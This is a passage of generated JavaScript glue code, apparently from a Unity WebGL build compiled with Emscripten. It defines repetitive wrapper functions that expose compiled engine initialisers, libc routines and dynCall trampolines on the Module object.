Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_8_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Input_0_cpp=Module["__GLOBAL__sub_I_Runtime_Input_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Input_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_0_cpp=Module["__GLOBAL__sub_I_Runtime_Interfaces_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Interfaces_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_1_cpp=Module["__GLOBAL__sub_I_Runtime_Interfaces_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Interfaces_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_2_cpp=Module["__GLOBAL__sub_I_Runtime_Interfaces_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Interfaces_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_0_cpp=Module["__GLOBAL__sub_I_Runtime_Jobs_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Jobs_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_1_cpp=Module["__GLOBAL__sub_I_Runtime_Jobs_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Jobs_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp=Module["__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp=Module["__GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Math_2_cpp=Module["__GLOBAL__sub_I_Runtime_Math_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Math_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Math_Random_0_cpp=Module["__GLOBAL__sub_I_Runtime_Math_Random_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Math_Random_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_0_cpp=Module["__GLOBAL__sub_I_Runtime_Misc_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Misc_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_2_cpp=Module["__GLOBAL__sub_I_Runtime_Misc_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Misc_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_4_cpp=Module["__GLOBAL__sub_I_Runtime_Misc_4_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Misc_4_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_5_cpp=Module["__GLOBAL__sub_I_Runtime_Misc_5_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Misc_5_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Modules_0_cpp=Module["__GLOBAL__sub_I_Runtime_Modules_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Modules_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_2_cpp=Module["__GLOBAL__sub_I_Runtime_Mono_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Mono_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp=Module["__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp=Module["__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_PluginInterface_0_cpp=Module["__GLOBAL__sub_I_Runtime_PluginInterface_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_PluginInterface_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_PreloadManager_0_cpp=Module["__GLOBAL__sub_I_Runtime_PreloadManager_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_PreloadManager_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_0_cpp=Module["__GLOBAL__sub_I_Runtime_Profiler_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Profiler_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_2_cpp=Module["__GLOBAL__sub_I_Runtime_Profiler_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Profiler_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp=Module["__GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp=Module["__GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_SceneManager_0_cpp=Module["__GLOBAL__sub_I_Runtime_SceneManager_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_SceneManager_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp=Module["__GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_0_cpp=Module["__GLOBAL__sub_I_Runtime_Scripting_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Scripting_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_2_cpp=Module["__GLOBAL__sub_I_Runtime_Scripting_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Scripting_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_3_cpp=Module["__GLOBAL__sub_I_Runtime_Scripting_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Scripting_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp=Module["__GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_1_cpp=Module["__GLOBAL__sub_I_Runtime_Serialize_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Serialize_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_2_cpp=Module["__GLOBAL__sub_I_Runtime_Serialize_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Serialize_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp=Module["__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp=Module["__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_1_cpp=Module["__GLOBAL__sub_I_Runtime_Shaders_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Shaders_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_3_cpp=Module["__GLOBAL__sub_I_Runtime_Shaders_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Shaders_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp=Module["__GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp=Module["__GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Transform_0_cpp=Module["__GLOBAL__sub_I_Runtime_Transform_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Transform_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Transform_1_cpp=Module["__GLOBAL__sub_I_Runtime_Transform_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Transform_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_2_cpp=Module["__GLOBAL__sub_I_Runtime_Utilities_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Utilities_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_5_cpp=Module["__GLOBAL__sub_I_Runtime_Utilities_5_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Utilities_5_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_6_cpp=Module["__GLOBAL__sub_I_Runtime_Utilities_6_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Utilities_6_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_7_cpp=Module["__GLOBAL__sub_I_Runtime_Utilities_7_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Utilities_7_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_9_cpp=Module["__GLOBAL__sub_I_Runtime_Utilities_9_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Utilities_9_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Video_0_cpp=Module["__GLOBAL__sub_I_Runtime_Video_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Video_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp=Module["__GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Shader_cpp=Module["__GLOBAL__sub_I_Shader_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Shader_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Shadows_cpp=Module["__GLOBAL__sub_I_Shadows_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Shadows_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_ShapeModule_cpp=Module["__GLOBAL__sub_I_ShapeModule_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_ShapeModule_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_SubsystemsScriptingClasses_cpp=Module["__GLOBAL__sub_I_SubsystemsScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_SubsystemsScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_SwInterCollision_cpp=Module["__GLOBAL__sub_I_SwInterCollision_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_SwInterCollision_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_SwSolverKernel_cpp=Module["__GLOBAL__sub_I_SwSolverKernel_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_SwSolverKernel_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_TemplateInstantiations_cpp=Module["__GLOBAL__sub_I_TemplateInstantiations_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_TemplateInstantiations_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_TerrainScriptingClasses_cpp=Module["__GLOBAL__sub_I_TerrainScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_TerrainScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_TextCoreScriptingClasses_cpp=Module["__GLOBAL__sub_I_TextCoreScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_TextCoreScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_TextRenderingScriptingClasses_cpp=Module["__GLOBAL__sub_I_TextRenderingScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_TextRenderingScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_TilemapScriptingClasses_cpp=Module["__GLOBAL__sub_I_TilemapScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_TilemapScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp=Module["__GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UIScriptingClasses_cpp=Module["__GLOBAL__sub_I_UIScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UIScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UVModule_cpp=Module["__GLOBAL__sub_I_UVModule_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UVModule_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UnityAdsSettings_cpp=Module["__GLOBAL__sub_I_UnityAdsSettings_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UnityAdsSettings_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp=Module["__GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp=Module["__GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_VFXScriptingClasses_cpp=Module["__GLOBAL__sub_I_VFXScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_VFXScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_VRScriptingClasses_cpp=Module["__GLOBAL__sub_I_VRScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_VRScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_VideoScriptingClasses_cpp=Module["__GLOBAL__sub_I_VideoScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_VideoScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_VisualEffectAsset_cpp=Module["__GLOBAL__sub_I_VisualEffectAsset_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_VisualEffectAsset_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Wind_cpp=Module["__GLOBAL__sub_I_Wind_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Wind_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_XRAudio_cpp=Module["__GLOBAL__sub_I_XRAudio_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_XRAudio_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_XRPreInit_cpp=Module["__GLOBAL__sub_I_XRPreInit_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_XRPreInit_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_XRScriptingClasses_cpp=Module["__GLOBAL__sub_I_XRScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_XRScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_XRWindowsLocatableCamera_cpp=Module["__GLOBAL__sub_I_XRWindowsLocatableCamera_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_XRWindowsLocatableCamera_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp=Module["__GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_nvcloth_src_0_cpp=Module["__GLOBAL__sub_I_nvcloth_src_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_nvcloth_src_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_nvcloth_src_1_cpp=Module["__GLOBAL__sub_I_nvcloth_src_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_nvcloth_src_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_umbra_cpp=Module["__GLOBAL__sub_I_umbra_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_umbra_cpp"].apply(null,arguments)});var ___cxa_can_catch=Module["___cxa_can_catch"]=(function(){return Module["asm"]["___cxa_can_catch"].apply(null,arguments)});var ___cxa_is_pointer_type=Module["___cxa_is_pointer_type"]=(function(){return Module["asm"]["___cxa_is_pointer_type"].apply(null,arguments)});var ___cxx_global_var_init=Module["___cxx_global_var_init"]=(function(){return Module["asm"]["___cxx_global_var_init"].apply(null,arguments)});var ___cxx_global_var_init_104=Module["___cxx_global_var_init_104"]=(function(){return Module["asm"]["___cxx_global_var_init_104"].apply(null,arguments)});var ___cxx_global_var_init_131=Module["___cxx_global_var_init_131"]=(function(){return Module["asm"]["___cxx_global_var_init_131"].apply(null,arguments)});var ___cxx_global_var_init_18=Module["___cxx_global_var_init_18"]=(function(){return Module["asm"]["___cxx_global_var_init_18"].apply(null,arguments)});var ___cxx_global_var_init_18_1170=Module["___cxx_global_var_init_18_1170"]=(function(){return Module["asm"]["___cxx_global_var_init_18_1170"].apply(null,arguments)});var ___cxx_global_var_init_19=Module["___cxx_global_var_init_19"]=(function(){return Module["asm"]["___cxx_global_var_init_19"].apply(null,arguments)});var ___cxx_global_var_init_20=Module["___cxx_global_var_init_20"]=(function(){return Module["asm"]["___cxx_global_var_init_20"].apply(null,arguments)});var ___cxx_global_var_init_23=Module["___cxx_global_var_init_23"]=(function(){return Module["asm"]["___cxx_global_var_init_23"].apply(null,arguments)});var ___cxx_global_var_init_4009=Module["___cxx_global_var_init_4009"]=(function(){return Module["asm"]["___cxx_global_var_init_4009"].apply(null,arguments)});var ___cxx_global_var_init_7752=Module["___cxx_global_var_init_7752"]=(function(){return Module["asm"]["___cxx_global_var_init_7752"].apply(null,arguments)});var ___cxx_global_var_init_89=Module["___cxx_global_var_init_89"]=(function(){return Module["asm"]["___cxx_global_var_init_89"].apply(null,arguments)});var ___cxx_global_var_init_8909=Module["___cxx_global_var_init_8909"]=(function(){return Module["asm"]["___cxx_global_var_init_8909"].apply(null,arguments)});var ___cxx_global_var_init_9=Module["___cxx_global_var_init_9"]=(function(){return Module["asm"]["___cxx_global_var_init_9"].apply(null,arguments)});var ___cxx_global_var_init_9305=Module["___cxx_global_var_init_9305"]=(function(){return Module["asm"]["___cxx_global_var_init_9305"].apply(null,arguments)});var ___emscripten_environ_constructor=Module["___emscripten_environ_constructor"]=(function(){return Module["asm"]["___emscripten_environ_constructor"].apply(null,arguments)});var ___errno_location=Module["___errno_location"]=(function(){return Module["asm"]["___errno_location"].apply(null,arguments)});var __get_daylight=Module["__get_daylight"]=(function(){return Module["asm"]["__get_daylight"].apply(null,arguments)});var __get_environ=Module["__get_environ"]=(function(){return Module["asm"]["__get_environ"].apply(null,arguments)});var __get_timezone=Module["__get_timezone"]=(function(){return Module["asm"]["__get_timezone"].apply(null,arguments)});var __get_tzname=Module["__get_tzname"]=(function(){return Module["asm"]["__get_tzname"].apply(null,arguments)});var _emscripten_replace_memory=Module["_emscripten_replace_memory"]=(function(){return Module["asm"]["_emscripten_replace_memory"].apply(null,arguments)});var _free=Module["_free"]=(function(){return Module["asm"]["_free"].apply(null,arguments)});var _htonl=Module["_htonl"]=(function(){return Module["asm"]["_htonl"].apply(null,arguments)});var _htons=Module["_htons"]=(function(){return Module["asm"]["_htons"].apply(null,arguments)});var _i64Add=Module["_i64Add"]=(function(){return Module["asm"]["_i64Add"].apply(null,arguments)});var _llvm_bswap_i16=Module["_llvm_bswap_i16"]=(function(){return Module["asm"]["_llvm_bswap_i16"].apply(null,arguments)});var _llvm_bswap_i32=Module["_llvm_bswap_i32"]=(function(){return Module["asm"]["_llvm_bswap_i32"].apply(null,arguments)});var _llvm_ctlz_i64=Module["_llvm_ctlz_i64"]=(function(){return Module["asm"]["_llvm_ctlz_i64"].apply(null,arguments)});var _llvm_ctpop_i32=Module["_llvm_ctpop_i32"]=(function(){return Module["asm"]["_llvm_ctpop_i32"].apply(null,arguments)});var _llvm_maxnum_f32=Module["_llvm_maxnum_f32"]=(function(){return Module["asm"]["_llvm_maxnum_f32"].apply(null,arguments)});var _llvm_maxnum_f64=Module["_llvm_maxnum_f64"]=(function(){return Module["asm"]["_llvm_maxnum_f64"].apply(null,arguments)});var _llvm_minnum_f32=Module["_llvm_minnum_f32"]=(function(){return Module["asm"]["_llvm_minnum_f32"].apply(null,arguments)});var _llvm_round_f32=Module["_llvm_round_f32"]=(function(){return Module["asm"]["_llvm_round_f32"].apply(null,arguments)});var _main=Module["_main"]=(function(){return Module["asm"]["_main"].apply(null,arguments)});var _malloc=Module["_malloc"]=(function(){return Module["asm"]["_malloc"].apply(null,arguments)});var _memalign=Module["_memalign"]=(function(){return Module["asm"]["_memalign"].apply(null,arguments)});var _memcpy=Module["_memcpy"]=(function(){return Module["asm"]["_memcpy"].apply(null,arguments)});var _memmove=Module["_memmove"]=(function(){return Module["asm"]["_memmove"].apply(null,arguments)});var _memset=Module["_memset"]=(function(){return Module["asm"]["_memset"].apply(null,arguments)});var _ntohs=Module["_ntohs"]=(function(){return Module["asm"]["_ntohs"].apply(null,arguments)});var _pthread_cond_broadcast=Module["_pthread_cond_broadcast"]=(function(){return Module["asm"]["_pthread_cond_broadcast"].apply(null,arguments)});var _pthread_mutex_lock=Module["_pthread_mutex_lock"]=(function(){return Module["asm"]["_pthread_mutex_lock"].apply(null,arguments)});var _pthread_mutex_unlock=Module["_pthread_mutex_unlock"]=(function(){return Module["asm"]["_pthread_mutex_unlock"].apply(null,arguments)});var _realloc=Module["_realloc"]=(function(){return Module["asm"]["_realloc"].apply(null,arguments)});var _saveSetjmp=Module["_saveSetjmp"]=(function(){return Module["asm"]["_saveSetjmp"].apply(null,arguments)});var _sbrk=Module["_sbrk"]=(function(){return Module["asm"]["_sbrk"].apply(null,arguments)});var _strlen=Module["_strlen"]=(function(){return Module["asm"]["_strlen"].apply(null,arguments)});var _testSetjmp=Module["_testSetjmp"]=(function(){return Module["asm"]["_testSetjmp"].apply(null,arguments)});var establishStackSpace=Module["establishStackSpace"]=(function(){return Module["asm"]["establishStackSpace"].apply(null,arguments)});var getTempRet0=Module["getTempRet0"]=(function(){return Module["asm"]["getTempRet0"].apply(null,arguments)});var runPostSets=Module["runPostSets"]=(function(){return Module["asm"]["runPostSets"].apply(null,arguments)});var setTempRet0=Module["setTempRet0"]=(function(){return Module["asm"]["setTempRet0"].apply(null,arguments)});var setThrew=Module["setThrew"]=(function(){return Module["asm"]["setThrew"].apply(null,arguments)});var stackAlloc=Module["stackAlloc"]=(function(){return Module["asm"]["stackAlloc"].apply(null,arguments)});var stackRestore=Module["stackRestore"]=(function(){return Module["asm"]["stackRestore"].apply(null,arguments)});var stackSave=Module["stackSave"]=(function(){return Module["asm"]["stackSave"].apply(null,arguments)});var dynCall_dddi=Module["dynCall_dddi"]=(function(){return Module["asm"]["dynCall_dddi"].apply(null,arguments)});var dynCall_ddi=Module["dynCall_ddi"]=(function(){return Module["asm"]["dynCall_ddi"].apply(null,arguments)});var dynCall_ddidi=Module["dynCall_ddidi"]=(function(){return Module["asm"]["dynCall_ddidi"].apply(null,arguments)});var dynCall_dfi=Module["dynCall_dfi"]=(function(){return Module["asm"]["dynCall_dfi"].apply(null,arguments)});var dynCall_di=Module["dynCall_di"]=(function(){return Module["asm"]["dynCall_di"].apply(null,arguments)});var dynCall_diddi=Module["dynCall_diddi"]=(function(){return Module["asm"]["dynCall_diddi"].apply(null,arguments)});var dynCall_didi=Module["dynCall_didi"]=(function(){return Module["asm"]["dynCall_didi"].apply(null,arguments)});var dynCall_dii=Module["dynCall_dii"]=(function(){return Module["asm"]["dynCall_dii"].apply(null,arguments)});var dynCall_diii=Module["dynCall_diii"]=(function(){return Module["asm"]["dynCall_diii"].apply(null,arguments)});var dynCall_diiii=Module["dynCall_diiii"]=(function(){return Module["asm"]["dynCall_diiii"].apply(null,arguments)});var dynCall_dji=Module["dynCall_dji"]=(function(){return Module["asm"]["dynCall_dji"].apply(null,arguments)});var dynCall_f=Module["dynCall_f"]=(function(){return Module["asm"]["dynCall_f"].apply(null,arguments)});var dynCall_fdi=Module["dynCall_fdi"]=(function(){return Module["asm"]["dynCall_fdi"].apply(null,arguments)});var dynCall_ff=Module["dynCall_ff"]=(function(){return Module["asm"]["dynCall_ff"].apply(null,arguments)});var dynCall_fff=Module["dynCall_fff"]=(function(){return Module["asm"]["dynCall_fff"].apply(null,arguments)});var dynCall_ffffffi=Module["dynCall_ffffffi"]=(function(){return Module["asm"]["dynCall_ffffffi"].apply(null,arguments)});var dynCall_ffffi=Module["dynCall_ffffi"]=(function(){return Module["asm"]["dynCall_ffffi"].apply(null,arguments)});var dynCall_fffi=Module["dynCall_fffi"]=(function(){return Module["asm"]["dynCall_fffi"].apply(null,arguments)});var dynCall_fffifffi=Module["dynCall_fffifffi"]=(function(){return Module["asm"]["dynCall_fffifffi"].apply(null,arguments)});var dynCall_ffi=Module["dynCall_ffi"]=(function(){return Module["asm"]["dynCall_ffi"].apply(null,arguments)});var 